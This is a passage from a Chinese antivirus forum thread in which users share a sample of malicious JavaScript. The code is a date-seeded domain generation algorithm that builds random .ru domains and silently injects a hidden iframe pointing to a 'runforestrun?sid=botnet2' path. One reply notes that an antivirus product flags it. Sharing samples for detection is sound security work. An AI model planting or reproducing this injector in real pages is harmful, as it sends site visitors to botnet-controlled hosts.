  14.     var s = d.getHours() > 12 ? 1 : 0;
  15.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
  16.     this.A = 48271;
  17.     this.M = 2147483647;
  18.     this.Q = this.M / this.A;
  19.     this.R = this.M % this.A;
  20.     this.oneOverM = 1.0 / this.M;
  21.     this.next = nextRandomNumber;
  22.     return this;
  23. }

  24. function createRandomNumber(r, Min, Max) {
  25.     return Math.round((Max - Min) * r.next() + Min);
  26. }

  27. function generatePseudoRandomString(unix, length, zone) {
  28.     var rand = new RandomNumberGenerator(unix);
  29.     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  30.     var str = '';
  31.     for (var i = 0; i < length; i++) {
  32.         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  33.     }
  34.     return str + '.' + zone;
  35. }

  36. setTimeout(function() {
  37.     try {
  38.         if (typeof iframeWasCreated == "undefined") {
  39.             iframeWasCreated = true;
  40.             var unix = Math.round(+new Date() / 1000);
  41.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
  42.             ifrm = document.createElement("IFRAME");
  43.             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
  44.             ifrm.style.width = "0px";
  45.             ifrm.style.height = "0px";
  46.             ifrm.style.visibility = "hidden";
  47.             document.body.appendChild(ifrm);
  48.         }
  49.     } catch (e) {}
  50. }, 500);
复制代码
  1. j % 2
复制代码
avg8.jpg
释然的心
发表于 2013-6-25 00:13:42 | 显示全部楼层
小红伞报毒~
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-3-11 03:23 , Processed in 0.120815 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表